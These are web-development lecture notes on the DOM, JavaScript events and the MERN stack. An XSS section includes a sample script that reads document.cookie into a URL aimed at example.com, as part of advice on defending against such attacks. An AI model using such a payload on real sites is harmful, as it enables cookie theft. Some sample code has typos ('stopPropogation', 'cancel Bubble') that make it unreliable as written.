[go: up one dir, main page]

0% found this document useful (0 votes)
3 views73 pages

Module 2 (4)

The Document Object Model (DOM) defines how browsers create a model of an HTML page and how JavaScript can interact with it. It consists of a DOM tree made up of nodes representing different parts of the page, allowing for access and updates to the content through various methods and properties. The document also explains how to select and manipulate elements within the DOM using different techniques and methods.

Uploaded by

anamijames03
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3 views73 pages

Module 2 (4)

The Document Object Model (DOM) defines how browsers create a model of an HTML page and how JavaScript can interact with it. It consists of a DOM tree made up of nodes representing different parts of the page, allowing for access and updates to the content through various methods and properties. The document also explains how to select and manipulate elements within the DOM using different techniques and methods.

Uploaded by

anamijames03
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 73

DOCUMENT OBJECT MODEL (DOM)

• Document Object Model (DOM) specifies

➢ How browsers should create a model of an HTML page.

➢ How JavaScript can access and update the contents of a web page in the browser
window.

• The DOM is neither part of HTML nor part of JavaScript, it is a separate set of rules.

• It covers two primary areas:

1. Making a model of the Html page


➢ When the browser loads a web page, it creates a model of the page in memory.

➢ The DOM specifies the way in which the browser should structure this model using a
DOM tree. The DOM is called an object model because the model (the DOM tree) is
made of objects. Each object represents a different part of the page loaded in the
browser window.

2. Accessing and changing the html page.

➢ The DOM also defines methods and properties to access and update each object in this
model, which in turn updates what the user sees in the browser.

➢ DOM is an Application Programming Interface (API).

❖ User interfaces let us interact with programs.

❖ APIs let programs (and scripts) talk to each other.

DOM Tree (model of a web page)

• When browser loads a web page, it creates a model of that page. The model is called a
DOM tree, and it is stored in the browsers' memory.

• It consists of four main types of nodes.

1. Document Node
2. Element Node
3. Attribute Node
4. Text Node
• Each node is an object with methods and properties. Scripts access and update this
DOM tree. Any changes made to the DOM tree are reflected in the browser.

• Example:

➢ Body of HTML Page

1. Document Node

• Every element, attribute, and piece of text in the HTML is represented by its own DOM
node. At the top of the tree a document node is added; it represents the entire page.

• When we access any element, attribute, or text node, we navigate to it via the document
node. It is the starting point for all visits to the DOM tree.

2. Element Nodes

• HTML elements describe the structure of an HTML page.

• To access the DOM tree, we start by looking for elements. Once we find the element
we want, then we can access its text and attribute nodes.

3. Attribute Nodes

• The opening tags of HTML elements can carry attributes and these are represented by
attribute nodes in the DOM tree. They are part of that element.

• Once we access an element, there are specific JavaScript methods and properties to read
or change that element's attributes.
4. Text Nodes

• Once we have accessed an element node, we can then reach the text within that element.
This is stored in text node.

• Text nodes cannot have children. If an element contains text and another child element,
then child element is not a child of the text node but rather a child of the containing
element.

• Text node is always a new branch of the DOM tree, and no further branches come off
of it.

Working with DOM Tree

• Accessing and updating the DOM tree involves two steps

1. Locate the node that represents the element you want to work

2. Use its text content, child elements and attributes

Explanation

Step 1: Access the Elements

• Below are the ways to access elements

1. Select An Individual Element Node


• There are three common ways to select an individual element:

a. getElementById()
• Uses the value of an element’s id attribute.

b. querySelector()
• Uses a CSS selector, and returns the first matching element.

c. we can also select individual elements by traversing from one element to


another within the DOM tree
2. Select Multiple Elements (Nodelists)
• There are three common ways to select multiple elements.

a. getElementsByClassName()
• Selects all elements that have a specific value for their class attribute.
b. getElementsByTagName()
• Selects all elements that have the specified tag name.

c. querySelectorAll()
• Uses a CSS selector to select all matching elements.

3. Traversing Between Element Nodes

• We can move from one element node to a related element node.

a. parentNode

• Selects the parent of the current element node.

b. previousSibling/nextSibling

• Selects the previous or next sibling from the DOM tree.

c. firstChild/lastChild

• Select the first or last child of the current element.

Step 2: Work with Elements

1. Access/ Update Text Nodes


• Text inside any element is stored inside a text node.

• nodeValue property lets us access or update contents of a text node.

2. Work with HTML Content

a. innerHTML property allows access to child elements and text content.

b. createElement() – creates new node

c. createTextNode() – adds new node to a tree

d. appendChild()

e. removeChild()

3. Access or Update attribute values

a. className/ id – lets us get or update value of the class and id attributes.

b. hasAttribute() – checks if an attribute exists.


c. getAttribute() – gets its value.

d. setAttribute() – updates the value.

e. removeAttribute() – removes an attribute.

Caching DOM Queries

• If script needs to use the same element(s) more than once, we can store the location of the
element(s) in a variable.

➢ This saves the browser looking through the DOM tree to find the same element(s)
again. It is known as caching the selection.

Here,

➢ itemOne does not store the <11> element, it stores a reference to where that node is
in the DOM tree.

➢ To access the text content of this element, we need to use the variable name:
itemOne.textContent

Accessing Elements

DOM queries could return one element or NodeList, which is collection of nodes.

1. Group of Element Nodes

• If a method returns more than one node then it will return a NodeList (which is
collection of nodes). Then we need to select the element we want from list using index
number.

• Example: getElementByTagName() will always return a NodeList.


2. Fastest Route

• Evaluating the minimum number of nodes on the way to the element we want to work
with.

• Example: getElementById() will return one element but it can only be used when the
element we want to access has an id attribute.

Methods that return a single element Node.

1. getElementById('id')
➢ Selects an individual element given the value of its id attribute.

➢ The HTML must have an id attribute in order for it to be selectable.

2. querySelector('css selector')
➢ Uses CSS selector syntax that would select one or more elements.

➢ This method returns only the first of the matching elements.

Methods that return one or more elements (as a nodelist).

1. getElementsByClassName('class')

➢ Selects one or more elements given the value of their class attribute.

➢ The HTML must have a class attribute for it to be selectable.

➢ This method is faster than querySelectorAll().

2. getElementsByTagName('tagName')

➢ Selects all elements on the page with the specified tag name.

➢ This method is faster than querySelectorAll().

3. querySelectorAll('css selector')
➢ Uses CSS selector syntax to select one or more elements and returns all of those
that match.

Methods that select individual elements

➢ getElementById() and querySelector() search an entire document and return individual


elements.
1. getElementById()

• It is the way to access an element because no two elements can share the same value
for their id attribute.

2. querySelector()

• It is very flexible because its parameter is a CSS selector, which means it can be
used to accurately target many more elements.

Selecting Elements using ID attributes

• getElementById() allows us to select a single element node by specifying the value of


its id attribute.

• This method has one parameter - id attribute:

➢ The value of the id attribute on the element we want to select.

➢ This value is placed inside quote marks because it is a string.

Example (screenshot below):

• First line of JavaScript code finds the element whose id attribute has a value of one, and
stores a reference to that node in a variable called el.
• The code then uses a property called className to update the value of the class attribute
of the element stored in this variable. Its value is cool, and this triggers a new rule in
the CSS that sets the background color of the element to aqua.

Nodelists: DOM queries that return more than one element

• NodeList is a collection of element nodes. Each node is given an index number (a


number that starts at zero). The order in which the element nodes are stored in a
NodeList is the same order that they appeared in the HTML page.

• When a DOM query returns a NodeList:

❖ Select one element from the NodeList.

❖ Loop through each item in the NodeList and perform the same statements on each
of the element nodes.

• NodeList has properties and methods:

❖ The length property tells how many items are in the NodeList.

❖ The item() method returns a specific node from the NodeList.


Live & static nodelists

• In a live NodeList, when script updates the page the NodeList is updated at the same
time. The methods beginning getElementsBy return live NodeLists. They are also faster
to generate than static NodeLists.

• In a static NodeList when script updates the page, the NodeList is not updated to reflect
the changes made by the script. The new methods that begin querySelector return static
NodeLists. They reflect the document when the query was made. If the script changes
the content of the page, the NodeList is not updated to reflect those changes.

Four different DOM queries to return a NodeList

1. getElementByTagName(‘h1’)

➢ Query returns one element but returns a NodeList

2. getElementByTagName(‘li’)

➢ This method returns four elements, one from each of the <li> elements on the page.

3. getElementByClassName(‘hot’)

➢ This NodeList contains only three of the <11> elements because we are searching for
elements by the value of their class attribute, not tag name.
4. querySelectorAll(‘li[id]’)

➢ This method returns four elements, one for each of the <li> elements on the page that
have an id attribute.

Selecting an Element from a NodeList

➢ There are two ways to select an element from NodeList

1. Item() Method

2. Array Syntax

1. Item Method

➢ Item method will return an individual node from the NodeList.

➢ We need to specify the index number of the element we want as a parameter of the
method.

2. Array Syntax

➢ We can access individual nodes using a square bracket syntax similar to accessing
individual items from an array.
➢ We need to specify the index number of the element we want inside square brackets
that follow the NodeList.

Selecting Elements using Class Attributes

➢ getElementsByClassName() - method selects elements whose class attribute contains a


specific value.

➢ The method has one parameter:

❖ The class name which is given in quotes within the parentheses after the method
name.
❖ Several elements can have the same value for their class attribute, this method
always returns a NodeList.

Selecting Elements by Tag Name

➢ getElementsByTagName() method allows to select elements using their tag name.

➢ The element name is specified as a parameter, and it is placed inside the parentheses
and is contained by quote marks.
Selecting Elements using CSS selectors

➢ querySelector() returns the first element node that matches the CSS-style selector.

➢ querySelectorAll() returns a NodeList of all of the matches.

➢ Both methods take a CSS selector as their only parameter.

Repeating Actions for an Entire NodeList

➢ We could achieve this by using loop through each node in the collection and apply the
same statements to each.

Example:

➢ For loop is used to go through each element in the NodeList.

➢ All of the statements inside the for loop's curly braces are applied to each element in
the NodeList one-by-one.

➢ To indicate which item of the NodeList is currently being worked with, the counter i is
used in the array-style syntax.
Looping through a NodeList

➢ It involves finding out how many items are there in the NodeList, and then setting a
counter to loop through them, one-by-one.

➢ Each time the loop runs, the script checks that the counter is less than the total number
of items in the NodeList.
Traversing the DOM

• Element node, can select another element in relation to it using these few properties.
This is known as traversing the DOM.

Demonstration of properties using above example:

1. parentNode
• This property finds the element node for the containing (or parent) element in the
HTML.

• (1) If you started with the first <1i> element, then its parent node would be the one
representing the <ul> element.

2. previousSibling nextSibling
• These properties find the previous or next sibling of a node if there are siblings.

• If you started with the first <li> element, it would not have a previous sibling.
However, its next sibling (2) would be the node representing the second <li>.

3. firstChild lastChild
• These properties find the first or last child of the current element.

• If you started with the <ul> element, the first child would be the node representing
the first <li> element, and (3) the last child would be the last <11>.

Whitespace Nodes

• In case of whitespace nodes, Traversing the DOM can be difficult because some
browsers add a text node whenever they come across whitespace between elements.
Here,

• we can see all of the whitespace nodes added to the DOM tree for the list example.

• Each one is represented by a green square.

• We could strip all the whitespace out of a page before serving it to the browser.

• One of the most popular ways to address this kind of problem is to use a JavaScript
library such as jQuery

Previous & Next Sibling

• From element node,

❖ previousSibling property will return the first <li> element.

❖ nextSibling property will return the third <li> element.

First and Last Child

From element node,

• firstChild property will return the first <li> element.


• lastChild property will return the last <11> element.

How to Get/ Update Element Content

1. Navigate to the text nodes

2. Work with the containing element

1. Text Nodes

• This is handled by property


❖ nodeValue - Accesses text from node

• Example 1: <li id = “one”><em>fresh</em>figs</li>


❖ An <em> element is added. It becomes the first child.

❖ The <em> element node has its own child text node which contains the word
fresh.

❖ The original text node is now a sibling of the node that represents the <em>
element.

• Example 2: <li id = “one”>six<em>fresh</em>figs</li>


When text is added before the <em> element:

➢ The first child of the <li> element is a text node, which contains the word six.

➢ It has a sibling which is an element node for the <em> element.

➢ In turn, that <em> element node has a child text node containing the word fresh.
➢ Finally, there is a text node holding the word figs, which is a sibling of both the text
node for the word "six" and the element node, <em>.

2. Containing Element

• These properties update the content of an element, the new content will overwrite the
entire contents of the element

• Example
➢ By using any of these properties to update the content of the <body> element, it
would update the entire web page.

❖ innerHTML - Gets/sets text & markup

❖ textContent - Gets/sets text only

❖ innerText - Gets/sets text only

Access & update A text node with nodevalue

• By selecting a text node, we can retrieve or modify the content of it using the nodeValue
property.
1. The <11> element node is selected using the getElementById() method.

2. The first child of <li> is the <em> element.

3. The text node is the next sibling of that <em> element.

4. We have the text node and can access its contents using nodeValue.

Accessing & Changing A Text Node

• First the element node is accessed and then its text node.

• The text node has a property called nodeValue which returns the text in that text node.

• We can also use the nodeValue property to update the content of a text node.

• Example:

Access & update text with textcontent (& innertext)

• The textContent property collects or updates the text that is in the containing element
(and its children). The textContent property on element returns the value. We can use
this property to update the content of the element; it replaces the entire content of it
(including any markup).

• Example:
<li id = “one”><em>fresh</em>figs</li>

document.getElementById(‘one’).textContent;
Accessing Text Only

• The script gets the content of the first list item using both the textContent property and
innerText and then writes the values after the list.

• Later the value of the first list item is then updated using the textContent property.

Adding or Removing HTML content

• There are two different ways to add or remove content from a DOM tree

1. innerHTML property

2. DOM manipulation
Access & Update Text & Markup with innerHTML

• When getting HTML from an element, the innerHTML property will get the content of
an element and return it as one long string, including any markup that the element
contains.

• When used to set new content for an element, it will take a string that can contain
markup and process that string, adding any elements within it to the DOM tree.

Example:
• <li id =“one”><em>fresh</em>figs</li>

Get Content

• Code collects the content of the list item and adds it to a variable.

var el Content = document.getElementById('one').innerHTML;

Set Content

• Code adds the content of the elContent variable to the first list item

document.getElementById('one').innerHTML = elContent;
Update Text & Markup

• Here we need to retrieve the content list item and stores it in a variable.

• Later, the content of the list item is placed inside a link.

Adding Elements using DOM Manipulation

1. createElement()

• Create a new element node using the createElement() method and this element node is
stored in a variable.

2. createTextNode()

• Create a new text node using createTextNode() and this node is stored in a variable.

• It can be added to the element node using the appendChild() method. This provides the
content for the element.

3. appendChild()

• We can add it to the DOM tree using the appendChild() method.

• The appendChild() method allows us to specify which element we want this node added
to, as a child of it.

Adding an Element to the DOM tree

• createElement() creates an element that can be added to the DOM tree.

• This new element is stored inside a variable until it is attached to the DOM tree.
• createTextNode() creates a new text node to attach to an element.

• Example:

Removing Elements via DOM Manipulation

Step 1: Store the element to be removed in a variable

• Select the element that is going to be removed and store the element node in a variable.

Step 2: Store the parent of that element in a variable

• Find the parent element that contains the element that we want to remove and store the
element node in a variable.

Step 3: Remove the element from its containing element

• removeChild() method is used on the containing element that is selected in step 2.

• removeChild() method takes one parameter: the reference to the element that we no
longer want.

Removing an Element from the DOM tree

• removeChild() method is used on the variable that holds the container node.

• It requires one parameter: the element we want to remove.


Comparing Techniques: Updating HTML content

1. document.write()

• The document object's write() method adds content to the page.

• Advantages

➢ It is a quick and easy way to show beginners how content can be added to a page.

• Disadvantages

➢ It only works when the page initially loads.

➢ If we use it after the page has loaded it can:

1. Overwrite the whole page

2. Not add the content to the page

3. Create a new page

It can cause problems with XHTML pages that are strictly validated.

2. element.innerHTML

• innerHTML property get/update the entire content of any element (including markup)
as a string.

• Advantages

➢ You can use it to add a lot of new markup using less code than DOM manipulation
methods.

➢ It can be faster than DOM manipulation when adding a lot of new elements to a
web page.

➢ It is a simple way to remove all of the content from one element.


• Disadvantages

➢ It should not be used to add content that has come from a user as it can cause security
risk.

➢ It can be difficult to isolate single elements that we want to update within a larger
DOM fragment.

➢ Event handlers may no longer work as intended.

3. DOM Manipulation

• DOM manipulation refers to using a set of methods and properties to access, create,
and update elements and text nodes.

• Advantages

➢ It is suited to changing one element from a DOM fragment where there are many
siblings.

➢ It does not affect event handlers.

➢ It easily allows a script to add elements incrementally.

• Disadvantages

➢ If you have to make a lot of changes to the content of a page, it is slower than
innerHTML.

➢ You need to write more code to achieve the same thing compared with innerHTML.

Cross-Site Scripting (XSS) Attacks

• XSS involves an attacker placing malicious code into a site.

• For example:

➢ Users can create profiles or add comments

• XSS can give the attacker access to information in:

➢ The DOM (including form data)

➢ website's cookies
➢ Session tokens: information that identifies you from other users when you log
into a site

• This could let the attacker access a user account and:

➢ Make purchases with that account

➢ Spread their malicious code further / faster

Even simple code can cause problems:

• Malicious code often mixes HTML and JavaScript (although URLS and CSS can be
used to trigger XSS attacks).

• Example:

• Below code stores cookie data in a variable, which could then be sent to a third-party
server:

<script>var adr='http://example.com/xss.php?cookie=' + escape (document.cookie);</script>

Defending against Cross-Site Scripting

Validate input going to the server

1. Only let visitors input the kind of characters they need to when supplying information.
This is known as validation. Do not allow untrusted users to submit HTML markup or
JavaScript.

2. Double-check validation on the server before displaying user content/storing it in a


database. This is important because users could bypass validation in the browser by
turning JavaScript off.

3. The database may contain markup and script from trusted sources (e.g., your content
management system). This is because it does not try to process the code; it just stores
it.

Escape data coming from the server & database

4. As your data leaves the database, all potentially dangerous characters should be escaped

5. Make sure that you are only inserting content generated by users into certain parts of
the template files.
6. Do not create DOM fragments containing HTML from untrusted sources. It should only
be added as text once it has been escaped.

XSS: validation & templates

Filter or validate input

• Prevent users from entering characters into form fields that they do not need to use
when providing information.

• Example, user names and email addresses will not contain angled brackets, ampersands,
or parentheses, so we can validate data to prevent characters like this being used.

Limit where user content goes

• Malicious code can live in an event handler attribute without being wrapped in <script>
tags.

• XSS can also be triggered by malicious code in CSS or URLs.

• Browsers process HTML, CSS, and JavaScript in different ways (or execution
contexts), and in each language different characters can cause problems. Therefore, we
should only add content from untrusted sources as text (not markup), and place that text
in elements that are visible in the viewport.
XSS: Escaping & Controlling Markup

• Any content generated by users that contain characters that are used in code should be
escaped on the server.

Escaping user content

• All data from untrusted sources should be escaped on the server before it is shown on
the page.

1. HTML

• Escape these characters so that they are displayed as characters.

2. Javascript

• Never include data from untrusted sources in Javascript.

3. URL’s

• For links containing user input (e.g., links to a user profile or search queries), use the
JavaScript encodeURIComponent() method to encode the user input.

• It encodes the following characters:

, /? : @ & = + $ #

Adding user content

• When you add untrusted content to an HTML page then, it should still be added to the
page as text.

• JavaScript and jQuery both offer tools for doing this:

Javascript

❖ Do use: textContent or innerText

❖ Do not use: innerHTML

Jquery
❖ Do use: .text())

❖ Do not use: .html ()

Attribute Nodes

Check For an Attribute and get its value

• hasAttribute() method of any element node checks if an attribute exists. The attribute
name is given as an argument in the parentheses.

• Using hasAttribute() in an if statement like this means that the code inside the curly
braces will run only if the attribute exists on the given element.
Creating Attributes & Changing Their Values

• The className property allows us to change the value of the class attribute.

➢ If the attribute does not exist, it will be created and given the specified value.

• setAttribute() method allows us to update the value of any attribute.

➢ It takes two parameters: the attribute name, and the value for the attribute.

Removing Attributes

• To remove an attribute from an element, first select the element, then call
removeAttribute(). It takes one parameter: the name of the attribute to remove.

• getElementById() method is used to retrieve the first item from this list, which has an
id attribute with a value of one.
Example: Document Object Model

1. Add a new item to the start and end of the list

• Adding an item to the start of a list requires the use of a different method than adding
an element to the end of the list.

2. Set a class attribute on all items

• This involves looping through each of the <li> elements and updating the value of the
class attribute.

3. Add the number of list items to the heading

• This involves four steps:

1. Reading the content of the heading

2. Counting the number of <li> elements in the page

3. Adding the number of items to the content of the heading

4. Updating the heading with this new content


Events

• Events occur when users click or tap a link or swipe over a element or keyboard type, etc

• It could be used to trigger a particular function.

• Different Event Types


How Events Trigger Javascript Code
• When the user interacts with the HTML on a web page, there are three steps involved in
getting it to trigger some JavaScript code. Together these steps are known as event
handling.

1. Select the element node(s) you want the script to respond to.
For example, if you want to trigger a function when a user clicks on a specific link, you
need to get the DOM node for that link element. You do this using a DOM query.

2. Indicate which event on the selected node(s) will trigger the response.
Programmers call this binding an event to a DOM node.

3. State the code you want to run when the event occurs. When the event occurs, on a
specified element, it will trigger a function. This may be a named or an anonymous
function.
Example:
Three ways to bind an event to an element

1. HTML Event Handlers

2. Traditional DOM Event Handlers

3. DOM Level Event Listners

1. HTML Event Handlers Attributes

• In the HTML, the first <input> element has an attribute called onblur (triggered when
the user leaves the element).

• The value of the attribute is the name of the function that it should trigger.

• The value of the event handler attributes would be JavaScript.

• Often it would call a function that was written either in the <head> element or a separate
JavaScript file .
2. Traditional DOM Event Handlers

3. Using DOM Event Handlers

• Event Handler appears on the last line of the Javascript.

• When using event handlers, the event name is preceded by the word "on" (onsubmit,
onchange, onfocus, onblur, onmouseover, onmouseout, etc).

• Example:
Here,

➢ Named function is written first when event fires on the DOM node.

➢ DOM element node is stored in a variable.

➢ Event handler elUsername.onblur indicates code is waiting for blur event to fire on the
element stored in the variable called elUsername.

Event Listeners

• They handle events, which can deal with more than one function at a time.
• Syntax:

Using Event Listeners

• Event listeners appear on the last line of the Javascript.

• addEventListener() method takes three properties:

1. The event we want it to listen for.

❖ Example, blur event, etc.

2. The code that we want it to run when the event fires.

❖ Example, checkUsername() function.

3. A Boolean indicating how events flow.

• removeEventListener() removes the event listener from the specified element.


Using Parameters with Event Handlers & Listeners

• In event handler, we want to wait until the event triggers it and we cannot have parentheses
after the function names in event handles or listeners and passing arguments requires a
workaround

• If we pass arguments to a function that is called by an event handler or listener, we wrap


the function call in an anonymous function.

Using Parameters with Event Listeners

• Example
Here,

• The first line in checkUsername() function the minLength parameter specifies the
minimum number of characters that the username should be.

• To receive this information, the event listener uses an anonymous function, which acts
like a wrapper. Inside that wrapper the checkUsername() function is called, and passed an
argument.

Supporting older versions of IE

• To make older versions of IE to make event listeners to work we need to use


attachEvent().

• When attachevent() is used event name should be preceded by word “on”.

• Example: blur becomes onblur


FallBack for using Event Listeners in IE8

Here,

• After the checkUsername() function, an if statement checks whether addEventListener()


is supported or not; it returns true if the element node supports this method, and false if it
does not.

❖ If the browser supports the addEventListener() method, the code inside the first set of
curly braces is run using addEventListener().

❖ If it is not supported, then the browser will use the attachEvent() method that older
versions of IE will understand. In the IE version, note that the event name must be
preceded by the word "on."

Event Flow

• The order in which event fire is known as event flow and events flow in two directions.

• The flow of events matters when our code has event handlers on an element and one of
its ancestor or descendant elements.
Event Object

• Event object tells us information about the event, and the element it happened upon.

• Every time an event fires, the event object contains helpful data about the event, such
as:

❖ Which element the event happened on.

❖ Which key was pressed for a keypress event.

❖ What part of the viewport the user clicked for a click.

• The event object is passed to any function that is the event handler or listener.

• If you need to pass arguments to a named function, the event object will first be passed
to the anonymous wrapper function.
Event Object in IE5-8

• In lower version of IE, event object is not passed automatically to event handler/ listener
functions but it is available as child of the window object.

• Example:
Here, to get properties, we need to use

Var target;
Target = e.target || e.srcElement;

• Here, to target an event of a fucntion, we need to use

Using Event Listeners with the Event Object

• Example:
1. The function is called checkLength() can be used on any text input.

2. The event object is passed to the event listener.

3. In order to determine which element, the user was interacting with, the function uses
the event object's target property.

Event Delegation

• Event flow allows us to listen for an event on parent element.

• That is delegating the job of the event listener to a parent element.

• Example:

➢ If we place the event listener on the <ul> element rather than on links in each <li>
element, we only need one event listener.

➢ And if you add or remove items from the list it would still work the same.

Additional benefits of event delegation

1. Works with new elements


➢ If we add new elements to the DOM tree, we do not have to add event handlers to
the new elements because the job has been delegated to an ancestor.

2. Solves Limitations with this Keyword


3. Simplifies code
➢ It requires fewer functions to be written, and there are fewer ties between the DOM
and code, which helps maintainability.

Changing Default Behavior

1. preventDefault()

• Some events, such as clicking on links and submitting forms, take the user to another
page. To prevent the default behavior of such elements (e.g., to keep the user on the
same page rather than following a link or being taken to a new page after submitting a
form), we can use the event object's preventDefault() method.

• Example:
if (event.preventDefault) {
event.preventDefault();
} else {
event.returnValue = false;
}
2. stopPropagation()

• To stop the event bubbling up, we can use the event object's stopPropogation () method.

if (event.stopPropogation) {
event.stopPropogation();
} else {
}
event.cancel Bubble = true;

3. Using both methods

• It prevents the default behavior of the element, and prevents the event from bubbling
up or capturing further.

Using Event Delegation


Which Element did an Event occur on?

• This approach relies on this keyword

• The this keyword refers to the owner of a function.

• This works when no parameters are being passed to the function.


• If we pass parameters to the function, the this keyword no longer works

➢ Because the owner of the function is no longer the element that the event listener
was bound to, it is an anonymous function.

Different Types of Events

• Events are defined in

1. W3C DOM events

• The DOM events specification is managed by the W3C.

• Browsers implement all the events using the event object.


• It also provides feedback such as which element the event occurred on, which
key a user pressed, or where the cursor is positioned.

2. HTML5 Events

• The HTML5 specification details events that browsers are expected to support
that are specifically used with HTML.

• For example, events that are fired when a form is submitted or form elements
are changed like submit, input, change, Readystatechange,
DOMContentLoaded, hashchange

3. BOM Events

• Browser manufacturers implement some events as part of their Browser Object


Model (or BOM).

• These events dealt with touchscreen devices:

❖ touchstart

❖ touchend

❖ touchmove

❖ orientationchange

User Interface Events

• User interface (UI) events occur as a result of interaction with the browser window.

• e.g., a page having loaded or the browser window being resized.

• The event handler/listener for Ul events should be attached to the browser window.
Load

• The load event is used to trigger scripts that access the contents of the page.

• Load event only fires when everything else on the page has loaded (images, scripts,
etc)

• Example,

❖ A function called setup() gives focus to the text input when the page has loaded.

❖ The event is automatically raised by the window object when a page has finished
loading the HTML and all of its resources: images, CSS.

❖ The setup() function would not work before the page has loaded because it relies on
finding the element whose id attribute has a value of username, in order to give it
focus.
Focus & Blur Events

• The HTML elements we interact with, such as links and form elements, can gain focus.

• These events fire when they gain or lose focus.

• The focus and blur events are most commonly used on forms.

• They can be particularly helpful when:

❖ We want to show tips or feedback to users as they interact with an individual


element within a form.

❖ We need to trigger form validation as a user moves from one control to the next.

Example
Mouse Events

• They are fired when the mouse is moved and also when its button are clicked.
Click Events

• click event executes a certain functionality when a button is clicked.

Where Events Occur

• Event object can tell where the cursor was positioned when an event was triggered.

Determining Position

• As we move our mouse around the screen, the text inputs across the top of the page are
updated with the current mouse position.

• This demonstrates the three different positions we can retrieve when the mouse is
moved or when one of the buttons is clicked.
Keyboard Events

• This event is fired when a user interacts with the keyboard.

• The event object has a property called keyCode, which can be used to tell which key was
pressed.

Which key was pressed

• Here in below example

➢ The event listener checks for the keypress event on the <textarea> element.

➢ Each time it fires, the charCount() function updates the character count and shows
the last character used.
Form Events

• Focus and Blur events are used with forms.

• Check form values is known as validation.


Using Form Events

Mutation Events & Observers

• Whenever elements are added to or removed from the DOM, its structure changes. This
change triggers a mutation event.

• When your script adds or removes content from a page it is updating the DOM tree.

• Below are some events that are triggered when the DOM changes and they are already
scheduled to be replaced by an alternative called mutation observers.

• Problems with mutation events

➢ If our script makes a lot of changes to a page, we end up with a lot of mutation
events firing. This can make a page feel slow or unresponsive.

• New mutation observers

➢ Mutation observers are designed to wait until a script has finished its task before
reacting, then report the changes as a batch.
Using Mutation Events

• We use two event listeners each trigger their own function.

• First listens when user clicks the link to add new list item.

• Second waits for the DOM tree within the <ul> element to change.
HTML5 Events

Using HTML5 Events

• The DOMContentLoaded event fires before the load event.

• If users leave the page before they press the submit button, the beforeunload event
checks that they want to leave.
• Example Events
• Example Events

Introduction to MERN

• MERN stack is for developing a complete web application.

• Any web application is built using multiple technologies and combinations of these
technologies is called a “stack”.

• MEAN (MongoDB, Express, AngularJS, Node.js) stack was one of the early open-
source stacks.
• MERN (MongoDB, Express, React, Node.js) pre-built technology stack based on
JavaScript technologies.

MERN Components

1. React

• React is an open-source JavaScript library maintained by Facebook that can be used


for creating views rendered in HTML. It is a library.

• Facebook folks built React for their own use, and later they made it open-source.

• React views are declarative.

❖ As a programmer, don’t have to worry about managing the effect of changes in


the view’s state or the data.

❖ Being declarative makes the views consistent, predictable, easier to maintain, and
simpler to understand.

• A React component declares how the view looks, given the data.

• React takes care of this using its Virtual DOM technology.

❖ We declare how the view looks and React builds a virtual representation, an in-
memory data structure.

• When things change, React builds a new virtual DOM based on the new truth (state)
and compares it with the old (before things changed) virtual DOM.

❖ React then computes the differences in the old and the changed Virtual DOM,
then applies these changes to the actual DOM.

• The fundamental building block of React is a component that maintains its own state
and renders itself.

• A component encapsulates the state of data and the view, or how it is rendered.

• Components talk to each other by sharing state information in the form of read-only
properties to their child components and by callbacks to their parent components.

• React uses a full-featured programming language (Javascript) to construct repetitive


or conditional DOM elements.
• There is an intermediate language to represent a Virtual DOM, and that is JSX (short
for JavaScript XML), which is very much like HTML.

❖ This lets you create nested DOM elements in a familiar language rather than
hand-construct them using JavaScript functions.

• React code can run on the server and the browser.

2. Node.js

• Node.js Modules - Node.js uses its own module system based on CommonJS to put
together multiple JavaScript files.

• We can include the functionality of another JavaScript file by using the require
keyword.

• Node.js ships with a bunch of core modules compiled into the binary. These modules
provide access to the operating system elements such as the file system, networking,
input/output, etc.

Node.js and npm

• npm is the default package manager for Node.js.

• We can use npm to install third-party libraries (packages) and manage dependencies
between them.

• Node.js has an asynchronous, event driven, non-blocking input/output (I/O) model,


as opposed to using threads to achieve multi-tasking.

Node.js is Event Driven

• Node.js has an asynchronous, event driven, non-blocking input/output (I/O) model,


as opposed to using threads to achieve multi-tasking.

❖ Node.js, has no threads. It relies on callbacks to let you know that a pending task
is completed.

• Node.js achieves multi-tasking using an event loop.

❖ This is nothing but a queue of events that need to be processed, and callbacks to
be run on those events.
3. Express

• Express is a framework that simplifies the task of writing the server code.

• The Express framework lets define routes, specifications when an HTTP request
matching a certain pattern arrives.

❖ Express parses the request URL, headers, and parameters for you.

• On the response side, it has, all functionality required by web applications.

❖ This includes determining response codes, setting cookies, sending custom


headers, etc.

• Express middleware, custom pieces of code can be inserted in any request/response


processing path to achieve common functionality such as logging, authentication, etc.

4. MongoDB

• MongoDB is the database used in the MERN stack.

• It is a NoSQL document-oriented database, with a flexible schema and a JSON-based


query language.

5. NoSQL

• NoSQL(non-relational) has two attributes that differentiate from the conventional


database.

1. First is their ability to horizontally scale by distributing the load over multiple
servers.

2. Second aspect is that NoSQL databases are not necessarily relational databases.

Document-Oriented

• MongoDB is a document-oriented database.

• The unit of storage (comparable to a row) is a document, or an object, and multiple


documents are stored in collections (comparable to a table).

• Every document in a collection has a unique identifier, using which it can be


accessed.
Schema-Less

• Storing an object in a MongoDB database does not have to follow a prescribed


schema.

JavaScript Base

• MongoDB’s language is JavaScript.

• For MongoDB, the query language is based on JSON

• MongoDB comes with a shell that’s built on top of a JavaScript runtime like Node.js
to interact with the database via command line.

Tools and Libraries

1. React-Router

• Capability of managing URLs and history is called routing.

• It is similar to server-side routing that Express does: a URL is parsed and based on
its components; a piece of code is associated with the URL.

• React-Router also manages the browser’s Back button functionality so that we can
transition between what seem as pages without loading the entire page from the
server.

2. React-Bootstrap

• Bootstrap, the most popular CSS framework, has been adapted to React and the
project is called ReactBootstrap.

• This library not only gives us most of the Bootstrap functionality, but the
components and widgets provided by this library gives information on how to
design our own widgets and components

3. Webpack

• We will be using Webpack to modularize and build the client-side code into a
bundle to deliver to the browser, and also to “compile” some code.

Other Libraries

1. Redux:
• This is a state management library that also combines the Flux programming
pattern.

• It’s typically used in larger projects where even for a single screen, managing the
state becomes complex.

2. Mongoose

• This library adds a level of abstraction over the MongoDB database layer and lets
the developer see objects as such.

• The library also provides other useful conveniences when dealing with the
MongoDB database.

3. Jest

• This is a testing library that can be used to test React applications easily.

Versions

• Versions of Various Tools and Libraries

Why MERN

1. JavaScript Everywhere

• JavaScript could be used for client-side code as well as server-side code

➢ In the React, way to generate HTML programmatically is using JavaScript.

• Having a single language across tiers lets us share code.


• Example:

➢ Functions that execute business logic, do validation etc. can be shared.

❖ They need to be run on the client side so that user experience is better by
being more responsive to user inputs.

❖ They also need to be run on the server side to protect the data model

2. JSON Everywhere

